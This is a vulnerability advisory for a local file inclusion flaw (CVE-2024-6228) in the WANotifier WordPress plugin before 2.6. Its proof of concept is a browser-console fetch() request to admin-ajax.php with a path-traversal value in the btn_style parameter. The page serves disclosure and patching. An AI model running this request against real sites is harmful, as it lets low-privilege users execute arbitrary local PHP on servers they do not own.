WANotifier < 2.6 – Subscriber+ LFI | CVE 2024-6228 | Plugin Vulnerabilities

Description

The plugin does not validate a user-supplied value before using it to build a server-side file inclusion path, allowing authenticated users with subscriber-level access and above to include and execute arbitrary local PHP files on the server.

Proof of Concept

1. Add a file named `phpinfo.php` with the contents `<?php phpinfo(); ?>` in the website root 
2. When logged in as a subscriber, run the following in the browser console:

```
fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=notifier_preview_btn_style&btn_style=../../../../../phpinfo',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

```

Affects Plugins

Fixed in 2.6

References

CVE

URL

https://projectblack.io/blog/cve-hunting-at-scale/

Classification

Type

LFI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Project Black

Submitter

Project Black

Submitter website

https://projectblack.io/penetration-testing/

Submitter twitter

Verified

Yes

WPVDB ID

6382bfea-6265-4f4b-b26e-4219d9ed78aa

Timeline

Publicly Published

2026-06-15 (about 22 days ago)

Added

2026-06-15 (about 22 days ago)

Last Updated

2026-06-15 (about 22 days ago)

Other

Published

Title

Published

2026-02-03

Title

Code Explorer <= 1.4.6 - Authenticated (Administrator+) Arbitrary File Read via 'file' Parameter

Published

2015-07-10

Title

IBS Mappro < 1.0 - Directory Traversal

Published

2025-05-09

Title

WordPress Review Plugin: The Ultimate Solution for Building a Review Website <= 5.3.5 - Authenticated (Contributor+) Local File Inclusion via Post Custom Fields

Published

2025-06-09

Title

CLEVER <= 2.6 - Unauthenticated Arbitrary File Download

Published

2024-12-06

Title

FileOrganizer < 1.1.5 - Authenticated (Administrator+) Local JavaScript File Inclusion